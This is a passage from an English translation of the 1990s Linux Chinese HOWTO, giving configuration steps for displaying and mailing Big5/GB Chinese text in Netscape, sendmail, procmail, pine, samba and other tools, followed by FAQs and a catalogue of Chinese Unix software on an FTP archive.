-kc-ming-medium-r-normal-fantizi-15-150-75-75-c-160-big5.eten.3.10-1
-kc-ming-medium-r-normal-fantizi-24-240-75-75-c-240-big5.eten.3.10-1
Add one line to /usr/X11R6/lib/X11/app-defaults/Netscape
*documentFonts.charset*big5.eten.3.10-1:              x-x-big5
Then, Netscape can use these fonts well.

Another solution is to name aliases for your fonts's names: Adding aliases in the fonts.alias file(create it yourself if there is no such a file) under your fonts directory.

-big5-taipeik-medium-r-normal--16-160-72-72-c-160-big5.hku-1 taipei16
-big5-taipeik-medium-r-normal--20-200-72-72-c-200-big5.hku-1 taipeik20
-big5-taipeik-medium-r-normal--24-240-72-72-c-240-big5.hku-1 taipeik24

The fonts filenames, like taipeik20, are that you need to give aliases to them. After modification, do

# xset fp rehash
to reload fonts's names to make them available.

You may find that the sizes of Chinese and English are out of proportion in homepages of Chinese-English languages(such as too small English words), which is the reason that what you've selected for English fonts and Chinese fonts is unbalanced at the magnitude. Go back to the configuration for fonts, and select Western(iso-8859-1). Then, in your opinion, change the size of English fonts to make it perfect in proportions.

9.2 sendmail

Because defaults of sendmail 8.8.x will encode all 8-bit mails first before sending them out, which may or may not reduce influences to those receiver. (Refer to Next Sub-Section for solutions). Most hosts can directly send 8-bit mails now, so you had better re-compile sendmail and close the encoding ability.

  • Get the newest version from this site(or mirror site):
    ftp://ftp.sendmail.org/ucb/src/sendmail/
  • Decompress it and modify Makefile:
    # tar zxvf sendmail-8.8.8.tar.gz
# cd src/Makefiles
# chmod u+w Makefile.Linux
# vi Makefile.Linux
    Add -DMIME8TO7=0 after CFLAGS+=.
  • Compile and install sendmail:
    # cd ..
# ./makesendmail all install
  • Install man pages to the exact directory manually(It's ok if not installing).
  • Erase the old sendmail process:
    # kill -9 `head -1 /var/run/sendmail.pid`
  • Restart sendmail:
    # /usr/sbin/sendmail -bd -q1h

9.3 procmail

procmail is an electronic mail filter, which can manipulate mails first before storing them into your mailbox, for example, classification for mails and so on. Though, I want to teach you how to make use of procmail to uncode the encoded ones into pure text files and how to convert the various encoded mails into common encoding you used here.

Create .procmailrc file under your home directory, listed as follows:

# To avoid accidents, store mails before using procmail.
# You can filter mails to ensure which mail doesn't need to duplicate
# by, for example, MAILER-DAEMON.
:0 c
* !^From.*MAILER-DAEMON
mail/procmail-backup

# Uncode mails encoded by quoted-printable or base64.
:0
* ^Content-Type: *text/plain
{
    :0 fbw
    * ^Content-Transfer-Encoding: *quoted-printable
    | mimencode -u -q

        :0 Afhw
        | formail -I "Content-Transfer-Encoding: 8bit" \
                  -I "X-Mimed-Autoconverted: quoted-printable to 8bit by procmail"

    :0 fbw
    * ^Content-Transfer-Encoding: *base64
    | mimencode -u -b

        :0 Afhw
        | formail -I "Content-Transfer-Encoding: 8bit" \
                  -I "X-Mimed-Autoconverted: base64 to 8bit by procmail"
}

# Here will judge whether a mail is GB codes or not; if it is, convert it
# into BIG5 codes. If you want to convert BIG5 codes into GB codes, you
# need to exchange big5 with gb2312 and replace 'hc -m b2g' with 'hc -m g2b'.

:0
* ^Content-Type:.*text/plain;.*charset=gb2312
{
    :0 fw
    | hc -m b2g -t /usr/local/lib/chinese/hc.tab

        :0 Afhw
        | formail -I "Content-Type: text/plain; charset=big5" \
                  -I "X-Charset-Autoconverted: gb2312 to big5 by procmail"
}

# Store mails into mailbox.
:0:
${ORGMAIL}

In this case, integrating with mimencode, formail to decode mails, and use hc to convert GB codes mails into BIG5 codes mails. Thus, you have to install these tools in order to use procmail.

Eventually, rectify your .forward file.

"|IFS=' ' && exec /usr/bin/procmail -f- ~/.procmailrc ||exit 75 #login"
Notes: change the login as your login name.

9.4 telnet

If you can access Chinese on your own machine, but cannot access Chinese while telnet to other machines, then the problems may cause from telnet itself. When telnet is being under connection, you can press Ctrl-] to jump out temporarily, and enter set binary at the prompt of telnet> to assure the fully transmission of bits. You can also use telnet -8 to make connections (but it seems won't work for some sites...?). Another more simple method is to use directly a 8-bit telnet program. Download the binary file from here:

ftp://linux.cis.nctu.edu.tw/packages/chinese/misc/

9.5 less

less itself can display Chinese directly; just set the following environment variable can Chinese display:

# export LESSCHARSET=latin1

9.6 pine

Pine of version 3.95 later can support reading and entering Chinese mails. As you execute pine, select SETUP/Config in feature list, choose this(hit X):

   [X]  enable-8bit-esmtp-negotiation
   [X]  enable-8bit-nntp-posting

Then, hit C on character-set, and change its value to big5 or gb2312. Finally, hit E to escape and store this change.

You can also install the cpine capable of showing Chinese messages:

ftp://ftp.vit.edu.tw/unix/linux/chinese/cpine-3.91.bin.tgz

9.7 samba

  • At first, take the newest version of samba-1.9.17p5 and big5 patch home.
    ftp://linux.cis.nctu.edu.tw/packages/network/samba/samba-1.9.17p5.tar.gz
    ftp://linux.cis.nctu.edu.tw/packages/chinese/samba-big5-patch/samba-1.9.17p2-BIG5-patch-0.gz
  • Decompress samba-1.9.17p5.tar.gz, and add the patch upon:
    # tar zxvf samba-1.9.17p5.tar.gz
# cd samba-1.9.17p5/source
# zcat samba-1.9.17p2-BIG5-patch-0.gz | patch -s
  • According to the normal procedures, you can compile and install it. Refer to the Samba HomePage.

9.8 lynx

Lynx v2.7 can view Chinese homepages directly. Execute lynx, and press O)ption / C)haracter set, and then choose Taipei(Big5) by arrow keys, and finally press '>' to store this set.

9.9 minicom

Use the switch -l to start minicom, then you can see Chinese in minicom.

9.10 fingerd

If you type Chinese in your .plan but can't be saw by others, this is probably caused by the inability of fingerd to send out 8-bit Chinese words. Get cfingerd from this site:

ftp://nctuccca.edu.tw/OS/Linux/packages/network/finger/cfingerd-1.3.2.tar.gz

Decompress it and execute ./Configure, then implement make all .

Then, modify /etc/inetd.conf, changing the original finger to:

finger  stream  tcp     nowait  root    /usr/sbin/tcpd  /usr/sbin/in.cfingerd

Let inetd read the configuration file again:

# kill -HUP `cat /var/run/inetd.pid`

9.11 tintin++

The TinTin++ is not a Chinese software but just a useful tool when playing Chinese mud.You can download it from this place:

ftp://ftp.princeton.edu/pub/tintin++

Here are some Chinese mud sites:

FengYun                  fengyun.com       5555
Xi You Ji                129.105.79.24     6905
Xia ke Xing              207.76.64.2       5555


Linux Chinese HOWTO English Version: Chinese Linux

 Next Previous Contents

10. Chinese Linux

If you have known some projects else about Chinese Linux, please tell me about it¡D

10.1 Chinese Linux Documentation's Projects

CLDP is now abandoned itself to translating Linux HOWTO documents, locating at http://www.linux.org.tw/CLDP/. CLDP has a mailing list ldp-trans@linux.org.tw. Its purposes are:

  • Combine everyone's power to implement Linux HOWTO translations available.
  • Discuss SGML Tools of dealing with Chinese.
  • Share and maintain experience of translation for Linux HOWTO.
  • To propagate the translation projects of Linux HOWTO.
  • Others concerned with Chinese Linux.

If you want to join us, please send a mail contented(not titled) with subscribe to ldp-trans-request@linux.org.tw For more advanced explanations of this mailing list, please send a mail contented with info to the upper address. If you want to know the usage of mailing list, send a mail contented with help to the same address. If there is any suggestion or suspicion to the mailing list, please write to ldp-trans-approval@linux.org.tw¡D

If you are willing to contribute your own power, please join with this mailing list.

10.2 Chinese Linux Project

This is established for a Chinese environment of Linux, originated by cdchen. This is still under the period of setting, waiting for everyone's all efforts.

Homepage of this project is at http://chinese.linux.org.tw/ which is responsible for formal announcements; and it provides discussions of problems, suggestions and criticisms, delivering ourselves of achievements and so forth.

10.3 Chinese websites of Linux

Here are some websites for Chinese Linux information. If you have others not listed here, tell me about that, please.

BIG5

  • http://www.linux.org.tw/
  • http://chinese.linux.org.tw/
  • http://linux.cis.nctu.edu.tw/
  • http://linux.ntcic.edu.tw/
  • http://freebsd.ee.ntu.edu.tw/bbs/6/index.html
  • http://cc.shu.edu.tw/~rick/wwwguide/c_linux_hopenet.html
  • http://henry.cis.nctu.edu.tw/~linuxwww/
  • http://marr.dorm9.nccu.edu.tw/~marr/Comp/PC-Unix/index.html
  • http://www.phys.ntu.edu.tw/~cwhuang/pub/os/linux/
GB
  • http://csun01.ihep.ac.cn/
  • http://www.clinux.ml.org/

10.4 Discussed groups of Linux

If you have any problem, you can post you question here, using Chinese is ok, too. However, make sure that this question is still unknown or hasn't answered in related documents or HOWTO, or repeat some FAQs are absolutely not popular with these places.

  • news://tw.bbs.comp.linux
  • telnet://henry.cis.nctu.edu.tw


Linux Chinese HOWTO English Version: FAQs

 Next Previous Contents

11. FAQs

11.1 Why Can't I Enter Chinese?

Answer: This question is quite ambiguous, though. I cannot tell which condition that you have met? If you can not enter Chinese on console's shell, refer to the section Chinese Input Problems for detailed.

Or that you cannot enter Chinese in an editor, it is possible that your editor doesn't support Chinese. Please refer to the section Useful Chinese Softwares to install Chinese-supported editors.

If this is matched at the period of telnet, then refer to the section telnet for more explanations.

11.2 I have got the NTU TTF fonts, but how can I decompress it?

Answer: The NTU TFF fonts is compressed with arj format and divided it into several files for the convenience of putting it into floppy disks, causing that decompression is a little trifling. If you want ntu_kai.ttf font, for example, you must take ntu_kai.arj, ntu_kai.a01, ntu_kai.a02, and ntu_kai.a03 home. Assuming that you have an arj tool of DOS version, put these four files altogether under the same directory and invoke this commands to decompress:

C:\> arj x -va -y ntu_kai

If you want to decompress them on Linux, you must use unarj to unarj them one by one, and then use cat to concatenate them together:

# unarj e ntu_kai.arj ; mv ntu_kai.ttf ntu_kai.ttf0
# unarj e ntu_kai.a01 ; mv ntu_kai.ttf ntu_kai.ttf1
# unarj e ntu_kai.a02 ; mv ntu_kai.ttf ntu_kai.ttf2
# unarj e ntu_kai.a03 ; mv ntu_kai.ttf ntu_kai.ttf3
# cat ntu_kai.ttf* > ntu_kai.ttf

11.3 Netscape's title and tag cannot see Chinese?

Answer: To install CXWin will solve this problem. Refer to CXWin for detailed.

11.4 My Netscape cannot see Chinese?

Answer: If you could not see any Chinese on all homepages, then you might probably not install Chinese fonts, or haven't make Netscape settled. Refer to the section Netscape.

But if you can see Chinese on most parts of Chinese homepages, only on some websites could see disturbed codes, then this may not be your private problems. A little websites take Frontpage to generate homepages, and their language encoding is x-x-big5 not general big5.

This wil make all browsers except IE cannot identify this encoding, which just a bad trick adopted by Microsoft to fulfill its ambitions to occupy the market of browsers. To solve this problem, send a mail to the administrator of that site, telling them there are other browsers except IE all over the world. If they want to manage it perpetually, they should correct that unusual encoding to normal one.

Of course, if you have better solutions, please let me know of it.

11.5 How to enter Chinese in Netscape?

Answer: Install xcin+XA. Refer to this section XA.

11.6 What's the difference between ChiTeX and CJK? Can I install them at the same time?

Answer:

  • The system of Chinese reading and searching of CJK which is independent and efficnet is based on the NFSS of LaTeX.
  • CJK can use Chinese, Japanese, and Korean; and ChiTeX is just for BIG5.
  • CJK can only use on LaTeX while ChiTeX can use on plain TeX and LaTeX .
  • Instructions of ChiTeX are simple and useful.
  • ChiTeX is approaching to real Chinese LaTeX.
  • Difference in functionality...
ChiTeX and CJK should be compatible while installing them at the same system, but if the ttf2pk has the same name for both ChiTeX and CJK, then it could cause certain problems. A solution to this is that define the $PATH variable in each shell script, respectively, to point to the correct locations of ttf2pk. (Thanks to professor Chen Hung-Yih..)


Linux Chinese HOWTO English Version: Appendix - Chinese Softwares of FTP.IFCSS.ORG

 Next Previous Contents

12. Appendix - Chinese Softwares of FTP.IFCSS.ORG

Warnning¡GMost pre-compiled Linux executable files are out-of-date and cannot use normally.

****
UNIX
****

========
UNIX:BBS
========

software: Phoenix BBS
version : 4.0, 1995.08.31
function: o UNIX platform multi-user BBS system,
          o discussion boards, private email
          o multichannel chat, one-to-one chat
          o Internet Email, News gateway,
          o 0Announce : Gopher-like information query interface.
          o fine tuned to allow more than 256 users on-line
          o configurable menu, screen display
          o Chinese message
URL     : ftp://ftp.ifcss.org/pub/software/unix/bbs/PhoenixBBS-4.0.tar.gz
author  : Ji-Tzay Yang, Ming-Feng Chen, Tzung-Yu Wen

============
UNIX:C-UTILS
============

software: addpy
version : 1.0
function: To annotate Pinyin to rare Hanzi and a portion of
          randomly selected common Hanzi.  Both GB (simplified) and
          Big5 (traditional) versions.  Based on statistics derived
          from huge Chinese corpus and well prepared hazni-freq-pinyin
          tables.  Source code and raw data provided.
URL     : ftp://ifcss.org/pub/software/unix/c-utils/addpy.tar.gz
filename: README.addpy, b5addpy.l, gbaddpy.l, b5addpy.dat,
          gbaddpy.dat, makefile
author  : Guo Jin

software: rm4mat
version : n/a
function: remove formating codes for printing in some GB files
URL     : ftp://ftp.ifcss.org/pub/software/unix/c-utils/rm4mat.c
author  : Chenghong Wang

software: mail_hxwz
version : 1.1
function: It extracts HXWZ from your mail (Suppose you are subscribing
          it).  It is a Bourne shell program which works on most Unix
          systems.  It can rerun itself every Friday automatically.
URL     : ftp://ftp.ifcss.org/pub/software/unix/c-utils/mail_hxwz
author  : Yaoen Zhang

software: auto_get_hxwz
Version : 1.2
Function: It gets the current issue of HXWZ in GB or postscipt format.
          It also process and print these files, and do the clean up.
          It save your time and server machine time.
URL     : ftp://ftp.ifcss.org/pub/software/unix/c-utils/auto_get_hxwz
author  : Yaoen Zhang

software: Chinese less
version : 290, 1995.5.25
function: Browse BIG5 and GB text files
URL     : ftp://ftp.ifcss.org/pub/software/unix/c-utils/cless-290.tar.gz
author  : Paul W. Shew
comment : requires a chinese terminal, like cxterm.

software: cscreen
version : 3.2b
function: This is a modified screen to minic ETen in cxterm.
          After you run cscreen in cxterm, it will intercept
          every key movement and examine if the current
          screen postion has a Chinese char. If it has,
          auto-key movements will be made accordingly.
URL     : ftp://ftp.ifcss.org/pub/software/unix/c-utils/cscreen-3.2b.tar.gz
author  : Shih-Kun Huang

software: ytalk
version : 3.0.2c6
function: ytalk-3.02c provides better compatibility for DEC's
          workstations, two-byte refresh for terminal like cxterm, and
          capable of passing character code 254, internally used as erase
          function in ytalk-3.0; Compatible with ytalk-3.0, cytalk-3.0,
          cytalk-3.0.2, ytalk-3.02c0/1/2/3/4/5, that is, you can still use
          Delete, or Backspace key.  If both ends use ytalk-3.02c4, the code
          254 is transparent, you can use more Chinese words to talk to
          others.
URL     : ftp://ftp.ifcss.org/pub/software/unix/c-utils/ytalk-3.0.2c6.tar.gz
author  : Sze-Yao Ni

software: lunar
version : 2.1
function: conversion program between Solar and Chinese lunar calendars;
          calculation of birthday in "4-column" astrology as well
URL     : ftp://ftp.ifcss.org/pub/software/unix/c-utils/lunar-2.1.tar.gz
author  : Ricky Yeung and Fung Fung Lee
comment : can output GB code, bitmap, or just ASCII

software: DateStar - Chinese Calendar Producer
version : 1.1
function: Displays Chinese and western calendar in
          ASCII code, BIG-5 code (Hongkong, Taiwan),
              GuoBiao code (PRC Standard), and HZ code (Network)
          Prints on two most popular laser printers
              PostScript laser printers, and
              HP LaserJet (PCL) printers
          Generates four different format
              Yearly calendar, Monthly calendar,
              One-page Weekly calendar, and Two-page Weekly calendar
          Shows calendar with 24 Solar Terms (JieQi),
              the Heavenly Stems and Earthly Branches
              (TianGan DiZhi Eight Characters)
          Supports user defined annotations
          Applicable from year 1841 through to 2060
URL     : ftp://ftp.ifcss.org/pub/software/unix/c-utils/datestar-1.1.tar.gz
author  : Youzhen Cheng
comment : UNIX version works on SUN Workstation with SUN OS 4.1.x
          see /software/dos/c-utils for DOS version

software: pull
version : 2.9, 1996.4.7
function: 1. Extracts the original file(s) from uuencoded/compressed/split
             file(s).
             a) uudecode a file and display the name of its decoded file
             b) decompress .zz (= .gz/.Z/.zip) file
             c) uudecode + decompress
             d) uudecode + cat (concatenate) + gunzip
          2. Packs file. Reverse the above `extracting' process.
             compresses, (splits), then encodes file(s)
URL     : ftp://ftp.ifcss.org/pub/software/unix/utils/pull.c.gz
author  : Yao Li

software: utf-utils
version : 15 Oct 1993.
function: some utility programs for manipulating Unicode/ISO-10646 text
          in the FSS-UTF encoding.
URL     : ftp://ftp.ifcss.org/pub/software/unix/c-utils/utf-utils.tar.gz
author  : Ross Paterson

software: gbfmt
version : 1.0
function: GB formatting with variable line width, GB<->HZ
URL     : ftp://ftp.ifcss.org/pub/software/unix/c-utils/gbformat.tar.gz
author  : Dongxiao Yue (http://www.cs.umn.edu/~dyue/wiihist/gbfmt.html)

===========
UNIX:EDITOR
===========

software: celvis
version : 1.3
function: vi editor with Chinese handling capabilities.
          Most run on some Chinese terminal, e.g. cxterm, or IBM-PC with
          some kind of Chinese DOS.  Work exactly like Unix vi editor,
          except that it side-scrolls long lines instead of wrapping.
URL     : ftp://ftp.ifcss.org/pub/software/unix/editor/celvis.tar.gz
          ftp://ftp.cs.purdue.edu/pub/ygz
author  : Man-Chi Pong, Yongguang Zhang
comment : comments, bug-reports, modifications to: c-elvis@cs.purdue.edu

software: Chinese JOE (Joe's Own Editor)
version : 2.8c
function: Chinese BIG5 localized text screen editor.  The key sequences are
          remeniscent of WordStar and TURBO-PASCAL. Makes full use of
          termcap/terminfo, is designed to work well over slow networks and
          low baud rate modems, and has the best features of vi. Most
          useful for editing unformatted text, such as USENET news articles
          and for editing block-structured languages such as C and PASCAL.
URL     : ftp://ftp.ifcss.org/pub/software/unix/editor/joe2.8_c.tar.gz
author  : <u8222034@cc.nctu.edu.tw>

============
UNIX:CONVERT
============

software: cn2jp
version : 1.3.2, 1996.4.11
function: code conversion routines for Chinese and Japanese
URL     : ftp://ftp.ifcss.org/pub/software/unix/convert/cn2jp1.3.2.tar.gz
author  : Seke Wei

software: ktty
version : 1.3, 1996.4.11
function: This is a kanji terminal translator among Chinese and Japanese.
          It allows online translation of codes so that you can view a
          specific code real time using your Chinese or Japanese terminal.
          It runs on Unix and is derived from the 'hztty' package
URL     : ftp://ftp.ifcss.org/pub/software/unix/convert/ktty1.3.tar.gz
author  : Seke Wei

software: code1
version : 1.3, 1996.4.11
function: This is a multilingual file browser for Chinese and Japanese.
          It runs on Unix and allows browsing of files in various codes
          using a Chinese or Japanese terminal.
URL     : ftp://ftp.ifcss.org/pub/software/unix/convert/code1.3.tar.gz
author  : Seke Wei

software: HUG program
version : 1.0, 1995.5.20
function: Converting between HZ, Uudecode/uuencode, GB codes
URL     : ftp://ftp.ifcss.org/pub/software/unix/convert/shug.osf.zip
          ftp://ftp.ifcss.org/pub/software/unix/convert/shug.sun4.zip
author  : Yinrong Huang

software: hztty
version : 2.0 Jan 29, 1994
Function: This program turns a tty session from one encoding to another.
          For example, running hztty on cxterm can allow you to read/write
          Chinese in HZ format, which was not supported by cxterm.
          If you have many applications in different encodings but your
          favor terminal program only supports one, hztty can make life easy.
          For example, hztty can your GB cxterm into a HZ terminal, a
          Unicode (16bit, or UTF8, or UTF7) terminal, or a Big5 terminal.
URL     : ftp://ftp.ifcss.org/pub/software/unix/convert/hztty-2.0.tar.gz
author  : Yongguang Zhang

software: EHZ
version : 2.0
function: Conversion among GB/BIG5/CNS and EHZ-BIG5/GB/CNS.
          Patch to hztty to support EHZ-BIG5/GB/CNS.
URL     : ftp://ftp.ifcss.org/pub/software/unix/convert/EHZ-2.0.tar.gz
author  : Ricky Yeung
comment : Also contains the EHZ spec and Fung Fung Lee's EHZ-BIG5-CNS spec.

software: b5cns
version : prototype
function: functions to convert Big5 <-> CNS
URL     : ftp://ftp.ifcss.org/pub/software/unix/convert/b5cns.tar.gz
author  : Ross Paterson

software: c2t
version : n/a
function: converts GB or BIG5 coded chinese to _pinyin_
URL     : ftp://ftp.ifcss.org/pub/software/unix/convert/c2t.tar.gz
authors : Tommi Kaikkonen and Katya Ta

software: BeTTY/CCF/B5Encode package
version : 1.534, 1995.03.22
function: a chinese code conversion package for codes widely used
          in Taiwan and the GB code widely used in Mainland, plus
          a 7-bit Big5 encoding method (B5Encode3/B5E3, an extension
          to HZ encoding for GB),
          including off-line converters (CCF/Chinese Code Filters and
          B5E/B5Encode) and an on-line converter (BeTTY) which simulates
          your native chinese terminal to become aware of the coding
          systems widely used in Taiwan and GB, HZ encoding.
URL     : ftp://ftp.ifcss.org/pub/software/unix/convert/BeTTY-1.534.tar.gz
          ftp://hermes.ee.nthu.edu.tw/shin/betty/BeTTY-1.534.tar.gz
author  : Jing-Shin Chang

software: BeTTY-ws_2fl.p1
version : 1.0 (patch to BeTTY-1.534) Oct. 1995.
function: 1. makes BeTTY respect the window(tty) size.
          2. a second Chinese code converting filter can be added on.
URL     : ftp://ftp.ifcss.org/pub/software/unix/convert/BeTTY-ws2fl.p1.tar.gz
author  : Wei Dong

software: c2gif
version : 0.01, 1995.10.21
function: convert a BIG5 text file to a GIF file
URL     : ftp://ftp.ifcss.org/pub/software/unix/convert/c2gif001.tar.gz
          http://www.math.ncu.edu.tw/~luors/c2gif/
author  : Luoh Ren-Shan

software: gb2jis
version : 1.5, 1995.11.19
function: convert GB (or HZ) to JIS with two-letter pinyin
URL     : ftp://ftp.ifcss.org/pub/software/unix/convert/gb2jis.tar.gz
          ftp://ftp.ifcss.org/pub/software/fonts/gb/bdf/guobiao16.bdf.gz
author  : Koichi Yasuoka

software: jis2gb
version : 1.5, 1996.1.10
function: convert JIS to GB (or HZ)
URL     : ftp://ftp.ifcss.org/pub/software/unix/convert/jis2gb.tar.gz
          ftp://ftp.ifcss.org/pub/software/fonts/gb/bdf/guobiao16.bdf.gz
author  : Koichi Yasuoka

software: HZ
version : 2.0
function: convert among GB, HZ and zW
URL     : ftp://ftp.ifcss.org/pub/software/unix/convert/HZ-2.0.tar.gz
author  : Fung F. Lee

software: HZ+ specification and conversion utilities
version : 0.77
function: HZ+ is a convenient 7-bit representation of mixed Big5, GB,
          and ASCII text for use in Internet e-mail, news, etc.
          Source code for Big5 <-> HZ+ and GB <-> HZ+ conversion
          utilities is here.  DOS executables can be found in
          another archive, /software/dos/convert/hzp.zip.  New in
          this Unix version is a simple HZ+ terminal program for cxterm
          which allows the user to transparently read HZ+ mail and news.
URL     : ftp://ftp.ifcss.org/pub/software/unix/convert/hzp.tar.gz
author  : Stephen G. Simpson

software: hc
version : 3.0
function: convert between GB and BIG5
URL     : ftp://ftp.ifcss.org/pub/software/unix/convert/hc-30.tar.gz
author  : Fung F. Lee and Ricky Yeung

software: Support Table for Hanzi Convert (hc)
version : 1994/05/01
function: Convert table supports the program Hanzi Convert
          (Author  : Fung F. Lee and Ricky Yeung) GB<->Big5.
          Include Russian, number, Japanese, graphing symbols and
          "incorrect" codes. Text file, comments in it.
URL     : ftp://ftp.ifcss.org/pub/software/unix/convert/sym-supp.tab
          ftp://ftp.ifcss.org/pub/software/unix/convert/in-corr.tab
author  : Chi-Ming Tsai

software: pbmbig5
version : 0.01, 1995.11.2
function: convert big5 coded Chinese text file to pbm graphic file
URL     : ftp://ftp.ifcss.org/pub/software/unix/convert/pbmbig5-0.01.tar.gz
          ftp://ftp.ifcss.org/pub/software/fonts/big/hbf/kck24.hbf
          ftp://ftp.ifcss.org/pub/software/fonts/big/hbf/kcchin24.f02
author  : Wei-Jou Chen

software: UTF utilities
version : 31 May 1994.
function: various utilities for the UTF encoding of Unicode/ISO-10646,
          including conversion from ISO-2022 and (partially) back again.
URL     : ftp://ftp.ifcss.org/pub/software/unix/convert/utf.tar.gz
author  : Ross Paterson

software: utf7
version : prototype, use at your own risk
function: functions to convert between UTF-7 and other codes
URL     : ftp://ftp.ifcss.org/pub/software/unix/convert/utf7.tar.gz
author  : Ross Paterson

software: ISO-2022-CN encoder and decoder
version : beta 960408
function: Convert between CN-GB and CN-CNS codes
URL     : ftp://ftp.ifcss.org/pub/software/unix/convert/iso-cn.tgz
author  : handa@etl.go.jp
comment : BIG5 code is not yet supported.

===============
UNIX:NETWORKING
===============

software: gopher2.014c
version : 2.0.14
function: A Chinese localized gopher client capable of 8-bit BIG5 Chinese
          string search on IBM AIX, SUN OS, and any other machines.
          Compatable with any BIG5 Chinese system such as ET and
          cxterm. executable binary for ibm and sun included.
URL     : ftp://ftp.ifcss.org/pub/software/unix/networking/gopher2.014c.tar.gz
          ftp://ftp.ifcss.org/pub/software/unix/networking/gopher.ibm.tar.gz
          ftp://ftp.ifcss.org/pub/software/unix/networking/gopher.sun.tar.gz
author  : Hoo-Tung Cheuk (NCTU CIS, Taiwan)

software: Chinese Tin
version : 1.2PL2a
function: tin 1.2PL2 newsreader with English/Big5 message toggle.
URL     : ftp://ftp.ifcss.org/pub/software/unix/networking/ctin122a.tar.gz
author  : Shih-Kun Huang

software: NcFTP with chinese message compatible
version : 2.3.0c, 1996.1.17
function: Chinese (BIG5) patch to NcFTP.
          Now it can display any chinese message from ftp server instead
          of "\xxx".  ANSI color compatible in Line Mode.
URL     : ftp://ftp.ifcss.org/pub/software/unix/networking/ncftp-2.3.0.chinese.tgz
author  : NCEMRSoft (orig), Aiken Sam (chinese patch)

==========
UNIX:PRINT
==========

software: C2PS
version : 1.30 Aug 1 1995
function: Translate Big5 coded Chinese document into Level 2 PostScript.
          This is the version for Sparcstation. Using Chinese TrueType fonts,
          you can create the most beautiful document with C2PS.
          This is a DEMO version. You can freely copied and use it.
URL     : ftp://ftp.ifcss.org/pub/software/unix/print/c2ps130sos.tar.gz
          ftp://ftp.ifcss.org/pub/software/fonts/big5/ms-win/
author  : Hsueh-I Lu

software: cnprint
version : 2.60  JAN-25-95
function: print GB/Hz/BIG5/JIS/KSC/UTF8 etc or convert to PostScript
          (conforms to EPSF-3.0). Fast.  Multicolumn. Vertical printing.
          Small disk space requirement. "Intelligent" treatment of
          punctuations.  Flexible change of fonts, char size,
          width/height, char and line spaces, paper orientation and
          margins, etc.  Support of European chars.  Special modes for
          printing HXWZ.  See readme for more
URL     : ftp://ftp.ifcss.org/pub/software/unix/print/cnprint260.tar.gz
          ftp://ftp.ifcss.org/pub/software/fonts/{gb,big5,misc,unicode}/hbf/
author  : Yidao Cai
comment : v2.60 is also for VMS, use v2.61 for DOS

software: GBscript
version : 1.11
function: Convert GB/ASCII mixed text to PostScript output.
          High print speed (4ppm on LaserWriter NTX).
          Support Adobe-2.1.
          Small PS file size (400K for one HXWZ issue).
URL     : ftp://ftp.ifcss.org/pub/software/unix/print/gbscript-1.11.tar.gz
author  : Yan Zhou

software: gb2ps
version : 2.02
function: convert GB/HZ to postscript, supports simple page formatting
          (change chinese fonts and font size, cover page, page
          number, etc). Five chinese fonts are provided in this
          release, they are Song, Kai, Fang Song, Hei and FanTi
          The HZ ENCODING is also supported.
URL     : ftp://ftp.ifcss.org/pub/software/unix/print/gb2ps.2.02.tar.gz
          ftp://ftp.ifcss.org/pub/software/fonts/gb/misc/fan24.ccf.gz
          ftp://ftp.ifcss.org/pub/software/fonts/gb/misc/fang24.ccf.gz
          ftp://ftp.ifcss.org/pub/software/fonts/gb/misc/hei24.ccf.gz
          ftp://ftp.ifcss.org/pub/software/fonts/gb/misc/kai24.ccf.gz
          ftp://ftp.ifcss.org/pub/software/fonts/gb/misc/song24.ccf.gz
author  : Wei SUN

software: news2ps
version : n/a
function: news2ps converts BIG5 to Postscript
URL     : ftp://ftp.ifcss.org/pub/software/unix/print/news2ps.c
          ftp://ftp.ifcss.org/pub/software/fonts/big5/misc/chinese.16.new
author  : The Society of HKU Postgraduate on Chinese Affairs
comment : rename chinese.16.new to chinese.16

software: hz2ps
version : 3.1
function: Convert hanzi (GB/BIG5) text to PostScript.
          Use HBF font files.
URL     : ftp://ftp.ifcss.org/pub/software/unix/print/hz2ps-3.1.tar.gz
          ftp://ftp.ifcss.org/pub/software/fonts/{gb,big5}/hbf/
author  : Fung F. Lee

===========
UNIX:VIEWER
===========

software: ChiRK
version : 1.2a
function: GB/HZ/BIG5 text viewer on terminals (or emulations) capable
          of displaying Tektronics 401x graphics, such as GraphOn,DEC
          VT240/330, Xterm, Tektool on Sun, EM4105 on PC,
          VersaTerm-Pro on Mac, etc.
          displays up to 17x40 Chinese characters per screen. works directly
          under UNIX mail and news programs. Comes with four fonts.
URL     : ftp://ftp.ifcss.org/pub/software/unix/viewer/ChiRK-1.2a.tar.gz
          ftp://ftp.ifcss.org/pub/software/fonts/gb/hbf/cclib.v
          ftp://ftp.ifcss.org/pub/software/fonts/gb/hbf/cclib.16
          ftp://ftp.ifcss.org/pub/software/fonts/gb/hbf/cclibf.16.gz
          ftp://ftp.ifcss.org/pub/software/fonts/big5/misc/chinese.16.new.gz
author  : Bo Yang
comment : rename chinese.16.new to chinese.16

software: Cbanner
version : 1.10, 950821
function: To show Chinese word's banner
URL     : ftp://ftp.ifcss.org/pub/software/unix/banner/cbanner1.10.tar.gz
author  : Sheen Cherng-Dar, rewritten by Jonen Liu
comment : requires ETen Big5 Chinese System's fonts.

software: gb2text
version : n/a
function: convert GB to text
URL     : ftp://ftp.ifcss.org/pub/software/unix/viewer/gb2text.c
author  : Ding Yijun

software: hzbanner
version : 1.1, Feb 15, 1995
function: Display Song style GuoBiao in large ASCII characters,
          supports GB2312-80 (^[$A), GB2312-80 + GB8565-88 (^[$(E),
          Chinese-EUC (8-bit Guobiao) CNS Plane 1 & 2, BIG5 and HZ-encoding
          ( ?·ã??)
URL     : ftp://ftp.ifcss.org/pub/software/unix/viewer/hzbanner11.tar.gz
          ftp://ftp.ifcss.org/pub/software/fonts/gb/bdf/guobiao16.bdf.gz
          ftp://ftp.ifcss.org/pub/software/fonts/cns/bdf/cns1hku16.bdf.gz
          ftp://ftp.ifcss.org/pub/software/fonts/cns/bdf/cns2hku16.bdf.gz
author  : Koichi Yasuoka

software: hzview
version : 3.1
function: Display hanzi (GB/BIG5) text on dumb terminal.
          Use HBF font files.
URL     : ftp://ftp.ifcss.org/pub/software/unix/viewer/hzview-3.1.tar.gz
          ftp://ftp.ifcss.org/pub/software/fonts/{gb,big5}/hbf/
author  : Fung F. Lee

Software: cnview
Version : 3.1 (UNIX version. DOS version available under /software/dos/viewer)
Function: View GB/Hz/Big5 encoded Chinese text file on * HP-UNIX (X-window) *
URL     : ftp://ftp.ifcss.org/pub/software/unix/viewer/cnview.tar.gz
          ftp://ftp.ifcss.org/pub/software/fonts/{big5,gb}/hbf/
Author  : Jifang Lin

software: readgb
version : n/a
